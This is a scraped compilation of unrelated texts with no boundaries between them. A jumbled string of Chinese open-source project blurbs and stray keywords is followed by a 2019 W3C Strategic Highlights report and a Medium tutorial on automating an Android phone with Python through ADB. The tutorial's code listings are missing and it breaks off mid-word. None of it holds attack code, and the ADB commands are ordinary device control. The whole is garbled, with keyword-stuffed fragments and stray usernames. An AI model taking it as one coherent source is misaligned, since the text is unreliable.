用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感自动黄河银行营销通许章润
jettbrains
W3C Strategic Highlights September 2019 This report was prepared for the September 2019 W3C Advisory Committee Meeting (W3C Member link). See the accompanying W3C Fact Sheet — September 2019. For the previous edition, see the April 2019 W3C Strategic Highlights. For future editions of this report, please consult the latest version. A Chinese translation is available. ☰ Contents Introduction Future Web Standards Meeting Industry Needs Web Payments Digital Publishing Media and Entertainment Web & Telecommunications Real-Time Communications (WebRTC) Web & Networks Automotive Web of Things Strengthening the Core of the Web HTML CSS Fonts SVG Audio Performance Web Performance WebAssembly Testing Browser Testing and Tools WebPlatform Tests Web of Data Web for All Security, Privacy, Identity Internationalization (i18n) Web Accessibility Outreach to the world W3C Developer Relations W3C Training Translations W3C Liaisons Introduction This report highlights recent work of enhancement of the existing landscape of the Web platform and innovation for the growth and strength of the Web. 33 working groups and a dozen interest groups enable W3C to pursue its mission through the creation of Web standards, guidelines, and supporting materials. We track the tremendous work done across the Consortium through homogeneous work-spaces in Github which enables better monitoring and management. We are in the middle of a period where we are chartering numerous working groups which demonstrate the rapid degree of change for the Web platform: After 4 years, we are nearly ready to publish a Payment Request API Proposed Recommendation and we need to soon charter follow-on work. In the last year we chartered the Web Payment Security Interest Group. In the last year we chartered the Web Media Working Group with 7 specifications for next generation Media support on the Web. We have Accessibility Guidelines under W3C Member review which includes Silver, a new approach. We have just launched the Decentralized Identifier Working Group which has tremendous potential because Decentralized Identifier (DID) is an identifier that is globally unique, resolveable with high availability, and cryptographically verifiable. We have Privacy IG (PING) under W3C Member review which strengthens our focus on the tradeoff between privacy and function. We have a new CSS charter under W3C Member review which maps the group's work for the next three years. In this period, W3C and the WHATWG have succesfully completed the negotiation of a Memorandum of Understanding rooted in the mutual belief that that having two distinct specifications claiming to be normative is generally harmful for the Web community. The MOU, signed last May, describes how the two organizations are to collaborate on the development of a single authoritative version of the HTML and DOM specifications. W3C subsequently rechartered the HTML Working Group to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and for the production of W3C Recommendations from WHATWG Review Drafts. As the Web evolves continuously, some groups are looking for ways for specifications to do so as well. So-called "evergreen recommendations" or "living standards" aim to track continuous development (and maintenance) of features, on a feature-by-feature basis, while getting review and patent commitments. We see the maturation and further development of an incredible number of new technologies coming to the Web. Continued progress in many areas demonstrates the vitality of the W3C and the Web community, as the rest of the report illustrates. Future Web Standards W3C has a variety of mechanisms for listening to what the community thinks could become good future Web standards. These include discussions with the Membership, discussions with other standards bodies, the activities of thousands of participants in over 300 community groups, and W3C Workshops. There are lots of good ideas. The W3C strategy team has been identifying promising topics and invites public participation. Future, recent and under consideration Workshops include: Inclusive XR (5-6 November 2019, Seattle, WA, USA) to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive, including to people with disabilities; W3C Workshop on Data Models for Transportation (12-13 September 2019, Palo Alto, CA, USA) W3C Workshop on Web Games (27-28 June 2019, Redmond, WA, USA), view report Second W3C Workshop on the Web of Things (3-5 June 2019, Munich, Germany) W3C Workshop on Web Standardization for Graph Data; Creating Bridges: RDF, Property Graph and SQL (4-6 March 2019, Berlin, Germany), view report Web & Machine Learning. The Strategy Funnel documents the staff's exploration of potential new work at various phases: Exploration and Investigation, Incubation and Evaluation, and eventually to the chartering of a new standards group. The Funnel view is a GitHub Project where new area are issues represented by “cards” which move through the columns, usually from left to right. Most cards start in Exploration and move towards Chartering, or move out of the funnel. Public input is welcome at any stage but particularly once Incubation has begun. This helps W3C identify work that is sufficiently incubated to warrant standardization, to review the ecosystem around the work and indicate interest in participating in its standardization, and then to draft a charter that reflects an appropriate scope. Ongoing feedback can speed up the overall standardization process. Since the previous highlights document, W3C has chartered a number of groups, and started discussion on many more: Newly Chartered or Rechartered Web Application Security WG (03-Apr) Web Payment Security IG (17-Apr) Patent and Standards IG (24-Apr) Web Applications WG (14-May) Web & Networks IG (16-May) Media WG (23-May) Media and Entertainment IG (06-Jun) HTML WG (06-Jun) Decentralized Identifier WG (05-Sep) Extended Privacy IG (PING) (30-Sep) Verifiable Claims WG (30-Sep) Service Workers WG (31-Dec) Dataset Exchange WG (31-Dec) Web of Things Working Group (31-Dec) Web Audio Working Group (31-Dec) Proposed charters / Advance Notice Accessibility Guidelines WG Privacy IG (PING) RDF Literal Direction WG Timed Text WG CSS WG Web Authentication WG Closed Internationalization Tag Set IG Meeting Industry Needs Web Payments All Web Payments specifications W3C's payments standards enable a streamlined checkout experience, enabling a consistent user experience across the Web with lower front end development costs for merchants. Users can store and reuse information and more quickly and accurately complete online transactions. The Web Payments Working Group has republished Payment Request API as a Candidate Recommendation, aiming to publish a Proposed Recommendation in the Fall 2019, and is discussing use cases and features for Payment Request after publication of the 1.0 Recommendation. Browser vendors have been finalizing implementation of features added in the past year (view the implementation report). As work continues on the Payment Handler API and its implementation (currently in Chrome and Edge Canary), one focus in 2019 is to increase adoption in other browsers. Recently, Mastercard demonstrated the use of Payment Request API to carry out EMVCo's Secure Remote Commerce (SRC) protocol whose payment method definition is being developed with active participation by Visa, Mastercard, American Express, and Discover. Payment method availability is a key factor in merchant considerations about adopting Payment Request API. The ability to get uniform adoption of a new payment method such as Secure Remote Commerce (SRC) also depends on the availability of the Payment Handler API in browsers, or of proprietary alternatives. Web Monetization, which the Web Payments Working Group will discuss again at its face-to-face meeting in September, can be used to enable micropayments as an alternative revenue stream to advertising. Since the beginning of 2019, Amazon, Brave Software, JCB, Certus Cybersecurity Solutions and Netflix have joined the Web Payments Working Group. In April, W3C launched the Web Payment Security Group to enable W3C, EMVCo, and the FIDO Alliance to collaborate on a vision for Web payment security and interoperability. Participants will define areas of collaboration and identify gaps between existing technical specifications in order to increase compatibility among different technologies, such as: How do SRC, FIDO, and Payment Request relate? The Payment Services Directive 2 (PSD2) regulations in Europe are scheduled to take effect in September 2019. What is the role of EMVCo, W3C, and FIDO technologies, and what is the current state of readiness for the deadline? How can we improve privacy on the Web at the same time as we meet industry requirements regarding user identity? Digital Publishing All Digital Publishing specifications, Publication milestones The Web is the universal publishing platform. Publishing is increasingly impacted by the Web, and the Web increasingly impacts Publishing. Topic of particular interest to Publishing@W3C include typography and layout, accessibility, usability, portability, distribution, archiving, offline access, print on demand, and reliable cross referencing. And the diverse publishing community represented in the groups consist of the traditional "trade" publishers, ebook reading system manufacturers, but also publishers of audio book, scholarly journals or educational materials, library scientists or browser developers. The Publishing Working Group currently concentrates on Audiobooks which lack a comprehensive standard, thus incurring extra costs and time to publish in this booming market. Active development is ongoing on the future standard: Publication Manifest Audiobook profile for Web Publications Lightweight Packaging Format The BD Comics Manga Community Group, the Synchronized Multimedia for Publications Community Group, the Publishing Community Group and a future group on archival, are companions to the working group where specific work is developed and incubated. The Publishing Community Group is a recently launched incubation channel for Publishing@W3C. The goal of the group is to propose, document, and prototype features broadly related to: publications on the Web reading modes and systems and the user experience of publications The EPUB 3 Community Group has successfully completed the revision of EPUB 3.2. The Publishing Business Group fosters ongoing participation by members of the publishing industry and the overall ecosystem in the development of Web infrastructure to better support the needs of the industry. The Business Group serves as an additional conduit to the Publishing Working Group and several Community Groups for feedback between the publishing ecosystem and W3C. The Publishing BG has played a vital role in fostering and advancing the adoption and continued development of EPUB 3. In particular the BG provided critical support to the update of EPUBCheck to validate EPUB content to the new EPUB 3.2 specification. This resulted in the development, in conjunction with the EPUB3 Community Group, of a new generation of EPUBCheck, i.e., EPUBCheck 4.2 production-ready release. Media and Entertainment All Media specifications The Media and Entertainment vertical tracks media-related topics and features that create immersive experiences for end users. HTML5 brought standard audio and video elements to the Web. Standardization activities since then have aimed at turning the Web into a professional platform fully suitable for the delivery of media content and associated materials, enabling missing features to stream video content on the Web such as adaptive streaming and content protection. Together with Microsoft, Comcast, Netflix and Google, W3C received an Technology & Engineering Emmy Award in April 2019 for standardization of a full TV experience on the Web. Current goals are to: Reinforce core media technologies: Creation of the Media Working Group, to develop media-related specifications incubated in the WICG (e.g. Media Capabilities, Picture-in-picture, Media Session) and maintain maintain/evolve Media Source Extensions (MSE) and Encrypted Media Extensions (EME). Improve support for Media Timed Events: data cues incubation. Enhance color support (HDR, wide gamut), in scope of the CSS WG and in the Color on the Web CG. Reduce fragmentation: Continue annual releases of a common and testable baseline media devices, in scope of the Web Media APIs CG and in collaboration with the CTA WAVE Project. Maintain the Road-map of Media Technologies for the Web which highlights Web technologies that can be used to build media applications and services, as well as known gaps to enable additional use cases. Create the future: Discuss perspectives for Media and Entertainment for the Web. Bring the power of GPUs to the Web (graphics, machine learning, heavy processing), under incubation in the GPU for the Web CG. Transition to a Working Group is under discussion. Determine next steps after the successful W3C Workshop on Web Games of June 2019. View the report. Timed Text The Timed Text Working Group develops and maintains formats used for the representation of text synchronized with other timed media, like audio and video, and notably works on TTML, profiles of TTML, and WebVTT. Recent progress includes: A robust WebVTT implementation report poises the specification for publication as a proposed recommendation. Discussions around re-chartering, notably to add a TTML Profile for Audio Description deliverable to the scope of the group, and clarify that rendering of captions within XR content is also in scope. Immersive Web Hardware that enables Virtual Reality (VR) and Augmented Reality (AR) applications are now broadly available to consumers, offering an immersive computing platform with both new opportunities and challenges. The ability to interact directly with immersive hardware is critical to ensuring that the web is well equipped to operate as a first-class citizen in this environment. The Immersive Web Working Group has been stabilizing the WebXR Device API while the companion Immersive Web Community Group incubates the next series of features identified as key for the future of the Immersive Web. W3C plans a workshop focused on the needs and benefits at the intersection of VR & Accessibility (Inclusive XR), on 5-6 November 2019 in Seattle, WA, USA, to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive. Web & Telecommunications The Web is the Open Platform for Mobile. Telecommunication service providers and network equipment providers have long been critical actors in the deployment of Web technologies. As the Web platform matures, it brings richer and richer capabilities to extend existing services to new users and devices, and propose new and innovative services. Real-Time Communications (WebRTC) All Real-Time Communications specifications WebRTC has reshaped the whole communication landscape by making any connected device a potential communication end-point, bringing audio and video communications anywhere, on any network, vastly expanding the ability of operators to reach their customers. WebRTC serves as the corner-stone of many online communication and collaboration services. The WebRTC Working Group aims to bringing WebRTC 1.0 (and companion specification Media Capture and Streams) to Recommendation by the end of 2019. Intense efforts are focused on testing (supported by a dedicated hackathon at IETF 104) and interoperability. The group is considering pushing features that have not gotten enough traction to separate modules or to a later minor revision of the spec. Beyond WebRTC 1.0, the WebRTC Working Group will focus its efforts on WebRTC NV which the group has started documenting by identifying use cases. Web & Networks Recently launched, in the wake of the May 2018 Web5G workshop, the Web & Networks Interest Group is chaired by representatives from AT&T, China Mobile and Intel, with a goal to explore solutions for web applications to achieve better performance and resource allocation, both on the device and network. The group's first efforts are around use cases, privacy & security requirements and liaisons. Automotive All Automotive specifications To create a rich application ecosystem for vehicles and other devices allowed to connect to the vehicle, the W3C Automotive Working Group is delivering a service specification to expose all common vehicle signals (engine temperature, fuel/charge level, range, tire pressure, speed, etc.) The Vehicle Information Service Specification (VISS), which is a Candidate Recommendation, is seeing more implementations across the industry. It provides the access method to a common data model for all the vehicle signals –presently encapsulating a thousand or so different data elements– and will be growing to accommodate the advances in automotive such as autonomous and driver assist technologies and electrification. The group is already working on a successor to VISS, leveraging the underlying data model and the VIWI submission from Volkswagen, for a more robust means of accessing vehicle signals information and the same paradigm for other automotive needs including location-based services, media, notifications and caching content. The Automotive and Web Platform Business Group acts as an incubator for prospective standards work. One of its task forces is using W3C VISS in performing data sampling and off-boarding the information to the cloud. Access to the wealth of information that W3C's auto signals standard exposes is of interest to regulators, urban planners, insurance companies, auto manufacturers, fleet managers and owners, service providers and others. In addition to components needed for data sampling and edge computing, capturing user and owner consent, information collection methods and handling of data are in scope. The upcoming W3C Workshop on Data Models for Transportation (September 2019) is expected to focus on the need of additional ontologies around transportation space. Web of Things All Web of Things specifications W3C's Web of Things work is designed to bridge disparate technology stacks to allow devices to work together and achieve scale, thus enabling the potential of the Internet of Things by eliminating fragmentation and fostering interoperability. Thing descriptions expressed in JSON-LD cover the behavior, interaction affordances, data schema, security configuration, and protocol bindings. The Web of Things complements existing IoT ecosystems to reduce the cost and risk for suppliers and consumers of applications that create value by combining multiple devices and information services. There are many sectors that will benefit, e.g. smart homes, smart cities, smart industry, smart agriculture, smart healthcare and many more. The Web of Things Working Group is finishing the initial Web of Things standards, with support from the Web of Things Interest Group: Web of Things Architecture Thing Descriptions Strengthening the Core of the Web HTML The HTML Working Group was chartered early June to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and to produce W3C Recommendations from WHATWG Review Drafts. A few days before, W3C and the WHATWG signed a Memorandum of Understanding outlining the agreement to collaborate on the development of a single version of the HTML and DOM specifications. Issues and proposed solutions for HTML and DOM done via the newly rechartered HTML Working Group in the WHATWG repositories The HTML Working Group is targetting November 2019 to bring HTML and DOM to Candidate Recommendations. CSS All CSS specifications CSS is a critical part of the Open Web Platform. The CSS Working Group gathers requirements from two large groups of CSS users: the publishing industry and application developers. Within W3C, those groups are exemplified by the Publishing groups and the Web Platform Working Group. The former requires things like better pagination support and advanced font handling, the latter needs intelligent (and fast!) scrolling and animations. What we know as CSS is actually a collection of almost a hundred specifications, referred to as ‘modules’. The current state of CSS is defined by a snapshot, updated once a year. The group also publishes an index defining every term defined by CSS specifications. Fonts All Fonts specifications The Web Fonts Working Group develops specifications that allow the interoperable deployment of downloadable fonts on the Web, with a focus on Progressive Font Enrichment as well as maintenance of WOFF Recommendations. Recent and ongoing work includes: Early API experiments by Adobe and Monotype have demonstrated the feasibility of a font enrichment API, where a server delivers a font with minimal glyph repertoire and the client can query the full repertoire and request additional subsets on-the-fly. In other experiments, the Brotli compression used in WOFF 2 was extended to support shared dictionaries and patch update. Metrics to quantify improvement are a current hot discussion topic. The group will meet at ATypi 2019 in Japan, to gather requirements from the international typography community. The group will first produce a report summarizing the strengths and weaknesses of each prototype solution by Q2 2020. SVG All SVG specifications SVG is an important and widely-used part of the Open Web Platform. The SVG Working Group focuses on aligning the SVG 2.0 specification with browser implementations, having split the specification into a currently-implemented 2.0 and a forward-looking 2.1. Current activity is on stabilization, increased integration with the Open Web Platform, and test coverage analysis. The Working Group was rechartered in March 2019. A new work item concerns native (non-Web-browser) uses of SVG as a non-interactive, vector graphics format. Audio The Web Audio Working Group was extended to finish its work on the Web Audio API, expecting to publish it as a Recommendation by year end. The specification enables synthesizing audio in the browser. Audio operations are performed with audio nodes, which are linked together to form a modular audio routing graph. Multiple sources — with different types of channel layout — are supported. This modular design provides the flexibility to create complex audio functions with dynamic effects. The first version of Web Audio API is now feature complete and is implemented in all modern browsers. Work has started on the next version, and new features are being incubated in the Audio Community Group. Performance Web Performance All Web Performance specifications There are currently 18 specifications in development in the Web Performance Working Group aiming to provide methods to observe and improve aspects of application performance of user agent features and APIs. The W3C team is looking at related work incubated in the W3C GPU for the Web (WebGPU) Community Group which is poised to transition to a W3C Working Group. A preliminary draft charter is available. WebAssembly All WebAssembly specifications WebAssembly improves Web performance and power by being a virtual machine and execution environment enabling loaded pages to run native (compiled) code. It is deployed in Firefox, Edge, Safari and Chrome. The specification will soon reach Candidate Recommendation. WebAssembly enables near-native performance, optimized load time, and perhaps most importantly, a compilation target for existing code bases. While it has a small number of native types, much of the performance increase relative to Javascript derives from its use of consistent typing. WebAssembly leverages decades of optimization for compiled languages and the byte code is optimized for compactness and streaming (the web page starts executing while the rest of the code downloads). Network and API access all occurs through accompanying Javascript libraries -- the security model is identical to that of Javascript. Requirements gathering and language development occur in the Community Group while the Working Group manages test development, community review and progression of specifications on the Recommendation Track. Testing Browser testing plays a critical role in the growth of the Web by: Improving the reliability of Web technology definitions; Improving the quality of implementations of these technologies by helping vendors to detect bugs in their products; Improving the data available to Web developers on known bugs and deficiencies of Web technologies by publishing results of these tests. Browser Testing and Tools The Browser Testing and Tools Working Group is developing WebDriver version 2, having published last year the W3C Recommendation of WebDriver. WebDriver acts as a remote control interface that enables introspection and control of user agents, provides a platform- and language-neutral wire protocol as a way for out-of-process programs to remotely instruct the behavior of Web, and emulates the actions of a real person using the browser. WebPlatform Tests The WebPlatform Tests project now provides a mechanism which allows to fully automate tests that previously needed to be run manually: TestDriver. TestDriver enables sending trusted key and mouse events, sending complex series of trusted pointer and key interactions for things like in-content drag-and-drop or pinch zoom, and even file upload. Since 2014 W3C began work on this coordinated open-source effort to build a cross-browser test suite for the Web Platform, which WHATWG, and all major browsers adopted. Web of Data All Data specifications There have been several great success stories around the standardization of data on the web over the past year. Verifiable Claims seems to have significant uptake. It is also significant that the Distributed Identifier WG charter has received numerous favorable reviews, and was just recently launched. JSON-LD has been a major success with the large deployment on Web sites via schema.org. JSON-LD 1.1 completed technical work, about to transition to CR More than 25% of websites today include schema.org data in JSON-LD The Web of Things description is in CR since May, making use of JSON-LD Verifiable Credentials data model is in CR since July, also making use of JSON-LD Continued strong interest in decentralized identifiers Engagement from the TAG with reframing core documents, such as Ethical Web Principles, to include data on the web within their scope Data is increasingly important for all organizations, especially with the rise of IoT and Big Data. W3C has a mature and extensive suite of standards relating to data that were developed over two decades of experience, with plans for further work on making it easier for developers to work with graph data and knowledge graphs. Linked Data is about the use of URIs as names for things, the ability to dereference these URIs to get further information and to include links to other data. There are ever-increasing sources of open Linked Data on the Web, as well as data services that are restricted to the suppliers and consumers of those services. The digital transformation of industry is seeking to exploit advanced digital technologies. This will facilitate businesses to integrate horizontally along the supply and value chains, and vertically from the factory floor to the office floor. W3C is seeking to make it easier to support enterprise-wide data management and governance, reflecting the strategic importance of data to modern businesses. Traditional approaches to data have focused on tabular databases (SQL/RDBMS), Comma Separated Value (CSV) files, and data embedded in PDF documents and spreadsheets. We're now in midst of a major shift to graph data with nodes and labeled directed links between them. Graph data is: Faster than using SQL and associated JOIN operations More favorable to integrating data from heterogeneous sources Better suited to situations where the data model is evolving In the wake of the recent W3C Workshop on Graph Data we are in the process of launching a Graph Standardization Business Group to provide a business perspective with use cases and requirements, to coordinate technical standards work and liaisons with external organizations. Web for All Security, Privacy, Identity All Security specifications, all Privacy specifications Authentication on the Web As the WebAuthn Level 1 W3C Recommendation published last March is seeing wide implementation and adoption of strong cryptographic authentication, work is proceeding on Level 2. The open standard Web API gives native authentication technology built into native platforms, browsers, operating systems (including mobile) and hardware, offering protection against hacking, credential theft, phishing attacks, thus aiming to end the era of passwords as a security construct. You may read more in our March press release. Privacy An increasing number of W3C specifications are benefitting from Privacy and Security review; there are security and privacy aspects to every specification. Early review is essential. Working with the TAG, the Privacy Interest Group has updated the Self-Review Questionnaire: Security and Privacy. Other recent work of the group includes public blogging further to the exploration of anti-patterns in standards and permission prompts. Security The Web Application Security Working Group adopted Feature Policy, aiming to allow developers to selectively enable, disable, or modify the behavior of some of these browser features and APIs within their application; and Fetch Metadata, aiming to provide servers with enough information to make a priori decisions about whether or not to service a request based on the way it was made, and the context in which it will be used. The Web Payment Security Interest Group, launched last April, convenes members from W3C, EMVCo, and the FIDO Alliance to discuss cooperative work to enhance the security and interoperability of Web payments (read more about payments). Internationalization (i18n) All Internationalization specifications, educational articles related to Internationalization, spec developers checklist Only a quarter or so current Web users use English online and that proportion will continue to decrease as the Web reaches more and more communities of limited English proficiency. If the Web is to live up to the "World Wide" portion of its name, and for the Web to truly work for stakeholders all around the world engaging with content in various languages, it must support the needs of worldwide users as they engage with content in the various languages. The growth of epublishing also brings requirements for new features and improved typography on the Web. It is important to ensure the needs of local communities are captured. The W3C Internationalization Initiative was set up to increase in-house resources dedicated to accelerating progress in making the World Wide Web "worldwide" by gathering user requirements, supporting developers, and education & outreach. For an overview of current projects see the i18n radar. W3C's Internationalization efforts progressed on a number of fronts recently: Requirements: New African and European language groups will work on the gap analysis, errata and layout requirements. Gap analysis: Japanese, Devanagari, Bengali, Tamil, Lao, Khmer, Javanese, and Ethiopic updated in the gap-analysis documents. Layout requirements document: notable progress tracked in the Southeast Asian Task Force while work continues on Chinese layout requirements. Developer support: Spec reviews: the i18n WG continues active review of specifications of the WHATWG and other W3C Working Groups. Short review checklist: easy way to begin a self-review to help spec developers understand what aspects of their spec are likely to need attention for internationalization, and points them to more detailed checklists for the relevant topics. It also helps those reviewing specs for i18n issues. Strings on the Web: Language and Direction Metadata lays out issues and discusses potential solutions for passing information about language and direction with strings in JSON or other data formats. The document was rewritten for clarity, and expanded. The group is collaborating with the JSON-LD and Web Publishing groups to develop a plan for updating RDF, JSON-LD and related specifications to handle metadata for base direction of text (bidi). User-friendly test format: a new format was developed for Internationalization Test Suite tests, which displays helpful information about how the test works. This particularly useful because those tests are pointed to by educational materials and gap-analysis documents. Web Platform Tests: a large number of tests in the i18n test suite have been ported to the WPT repository, including: css-counter-styles, css-ruby, css-syntax, css-test, css-text-decor, css-writing-modes, and css-pseudo. Education & outreach: (for all educational materials, see the HTML & CSS Authoring Techniques) Web Accessibility All Accessibility specifications, WAI resources The Web Accessibility Initiative supports W3C's Web for All mission. Recent achievements include: Education and training: Inaccessibility of CAPTCHA updated to bring our analysis and recommendations up to date with CAPTCHA practice today, concluding two years of extensive work and invaluable input from the public (read more on the W3C Blog Learn why your web content and applications should be accessible. The Education and Outreach Working Group has completed revision and updating of the Business Case for Digital Accessibility. Accessibility guidelines: The Accessibility Guidelines Working Group has continued to update WCAG Techniques and Understanding WCAG 2.1; and published a Candidate Recommendation of Accessibility Conformance Testing Rules Format 1.0 to improve inter-rater reliability when evaluating conformance of web content to WCAG An updated charter is being developed to host work on "Silver", the next generation accessibility guidelines (WCAG 2.2) There are accessibility aspects to most specifications. Check your work with the FAST checklist. Outreach to the world W3C Developer Relations To foster the excellent feedback loop between Web Standards development and Web developers, and to grow participation from that diverse community, recent W3C Developer Relations activities include: @w3cdevs tracks the enormous amount of work happening across W3C W3C Track during the Web Conference 2019 in San Francisco Tech videos: W3C published the 2019 Web Games Workshop videos The 16 September 2019 Developer Meetup in Fukuoka, Japan, is open to all and will combine a set of technical demos prepared by W3C groups, and a series of talks on a selected set of W3C technologies and projects W3C is involved with Mozilla, Google, Samsung, Microsoft and Bocoup in the organization of ViewSource 2019 in Amsterdam (read more on the W3C Blog) W3C Training In partnership with EdX, W3C's MOOC training program, W3Cx offers a complete "Front-End Web Developer" (FEWD) professional certificate program that consists of a suite of five courses on the foundational languages that power the Web: HTML5, CSS and JavaScript. We count nearly 900K students from all over the world. Translations Many Web users rely on translations of documents developed at W3C whose official language is English. W3C is extremely grateful to the continuous efforts of its community in ensuring our various deliverables in general, and in our specifications in particular, are made available in other languages, for free, ensuring their exposure to a much more diverse set of readers. Last Spring we developed a more robust system, a new listing of translations of W3C specifications and updated the instructions on how to contribute to our translation efforts. W3C Liaisons Liaisons and coordination with numerous organizations and Standards Development Organizations (SDOs) is crucial for W3C to: make sure standards are interoperable coordinate our respective agenda in Internet governance: W3C participates in ICANN, GIPO, IGF, the I* organizations (ICANN, IETF, ISOC, IAB). ensure at the government liaison level that our standards work is officially recognized when important to our membership so that products based on them (often done by our members) are part of procurement orders. W3C has ARO/PAS status with ISO. W3C participates in the EU MSP and Rolling Plan on Standardization ensure the global set of Web and Internet standards form a compatible stack of technologies, at the technical and policy level (patent regime, fragmentation, use in policy making) promote Standards adoption equally by the industry, the public sector, and the public at large Coralie Mercier, Editor, W3C Marketing & Communications $Id: Overview.html,v 1.60 2019/10/15 12:05:52 coralie Exp $ Copyright © 2019 W3C ® (MIT, ERCIM, Keio, Beihang) Usage policies apply.
Masudbro94
Open in app Get started ITNEXT Published in ITNEXT You have 2 free member-only stories left this month. Sign up for Medium and get an extra one Kush Kush Follow Apr 15, 2021 · 7 min read · Listen Save How you can Control your Android Device with Python Photo by Caspar Camille Rubin on Unsplash Photo by Caspar Camille Rubin on Unsplash Introduction A while back I was thinking of ways in which I could annoy my friends by spamming them with messages for a few minutes, and while doing some research I came across the Android Debug Bridge. In this quick guide I will show you how you can interface with it using Python and how to create 2 quick scripts. The ADB (Android Debug Bridge) is a command line tool (CLI) which can be used to control and communicate with an Android device. You can do many things such as install apps, debug apps, find hidden features and use a shell to interface with the device directly. To enable the ADB, your device must firstly have Developer Options unlocked and USB debugging enabled. To unlock developer options, you can go to your devices settings and scroll down to the about section and find the build number of the current software which is on the device. Click the build number 7 times and Developer Options will be enabled. Then you can go to the Developer Options panel in the settings and enable USB debugging from there. Now the only other thing you need is a USB cable to connect your device to your computer. Here is what todays journey will look like: Installing the requirements Getting started The basics of writing scripts Creating a selfie timer Creating a definition searcher Installing the requirements The first of the 2 things we need to install, is the ADB tool on our computer. This comes automatically bundled with Android Studio, so if you already have that then do not worry. Otherwise, you can head over to the official docs and at the top of the page there should be instructions on how to install it. Once you have installed the ADB tool, you need to get the python library which we will use to interface with the ADB and our device. You can install the pure-python-adb library using pip install pure-python-adb. Optional: To make things easier for us while developing our scripts, we can install an open-source program called scrcpy which allows us to display and control our android device with our computer using a mouse and keyboard. To install it, you can head over to the Github repo and download the correct version for your operating system (Windows, macOS or Linux). If you are on Windows, then extract the zip file into a directory and add this directory to your path. This is so we can access the program from anywhere on our system just by typing in scrcpy into our terminal window. Getting started Now that all the dependencies are installed, we can start up our ADB and connect our device. Firstly, connect your device to your PC with the USB cable, if USB debugging is enabled then a message should pop up asking if it is okay for your PC to control the device, simply answer yes. Then on your PC, open up a terminal window and start the ADB server by typing in adb start-server. This should print out the following messages: * daemon not running; starting now at tcp:5037 * daemon started successfully If you also installed scrcpy, then you can start that by just typing scrcpy into the terminal. However, this will only work if you added it to your path, otherwise you can open the executable by changing your terminal directory to the directory of where you installed scrcpy and typing scrcpy.exe. Hopefully if everything works out, you should be able to see your device on your PC and be able to control it using your mouse and keyboard. Now we can create a new python file and check if we can find our connected device using the library: Here we import the AdbClient class and create a client object using it. Then we can get a list of devices connected. Lastly, we get the first device out of our list (it is generally the only one there if there is only one device connected). The basics of writing scripts The main way we are going to interface with our device is using the shell, through this we can send commands to simulate a touch at a specific location or to swipe from A to B. To simulate screen touches (taps) we first need to work out how the screen coordinates work. To help with these we can activate the pointer location setting in the developer options. Once activated, wherever you touch on the screen, you can see that the coordinates for that point appear at the top. The coordinate system works like this: A diagram to show how the coordinate system works A diagram to show how the coordinate system works The top left corner of the display has the x and y coordinates (0, 0) respectively, and the bottom right corners’ coordinates are the largest possible values of x and y. Now that we know how the coordinate system works, we need to check out the different commands we can run. I have made a list of commands and how to use them below for quick reference: Input tap x y Input text “hello world!” Input keyevent eventID Here is a list of some common eventID’s: 3: home button 4: back button 5: call 6: end call 24: volume up 25: volume down 26: turn device on or off 27: open camera 64: open browser 66: enter 67: backspace 207: contacts 220: brightness down 221: brightness up 277: cut 278: copy 279: paste If you wanted to find more, here is a long list of them here. Creating a selfie timer Now we know what we can do, let’s start doing it. In this first example I will show you how to create a quick selfie timer. To get started we need to import our libraries and create a connect function to connect to our device: You can see that the connect function is identical to the previous example of how to connect to your device, except here we return the device and client objects for later use. In our main code, we can call the connect function to retrieve the device and client objects. From there we can open up the camera app, wait 5 seconds and take a photo. It’s really that simple! As I said before, this is simply replicating what you would usually do, so thinking about how to do things is best if you do them yourself manually first and write down the steps. Creating a definition searcher We can do something a bit more complex now, and that is to ask the browser to find the definition of a particular word and take a screenshot to save it on our computer. The basic flow of this program will be as such: 1. Open the browser 2. Click the search bar 3. Enter the search query 4. Wait a few seconds 5. Take a screenshot and save it But, before we get started, you need to find the coordinates of your search bar in your default browser, you can use the method I suggested earlier to find them easily. For me they were (440, 200). To start, we will have to import the same libraries as before, and we will also have our same connect method. In our main function we can call the connect function, as well as assign a variable to the x and y coordinates of our search bar. Notice how this is a string and not a list or tuple, this is so we can easily incorporate the coordinates into our shell command. We can also take an input from the user to see what word they want to get the definition for: We will add that query to a full sentence which will then be searched, this is so that we can always get the definition. After that we can open the browser and input our search query into the search bar as such: Here we use the eventID 66 to simulate the press of the enter key to execute our search. If you wanted to, you could change the wait timings per your needs. Lastly, we will take a screenshot using the screencap method on our device object, and we can save that as a .png file: Here we must open the file in the write bytes mode because the screencap method returns bytes representing the image. If all went according to plan, you should have a quick script which searches for a specific word. Here it is working on my phone: A GIF to show how the definition searcher example works on my phone A GIF to show how the definition searcher example works on my phone Final 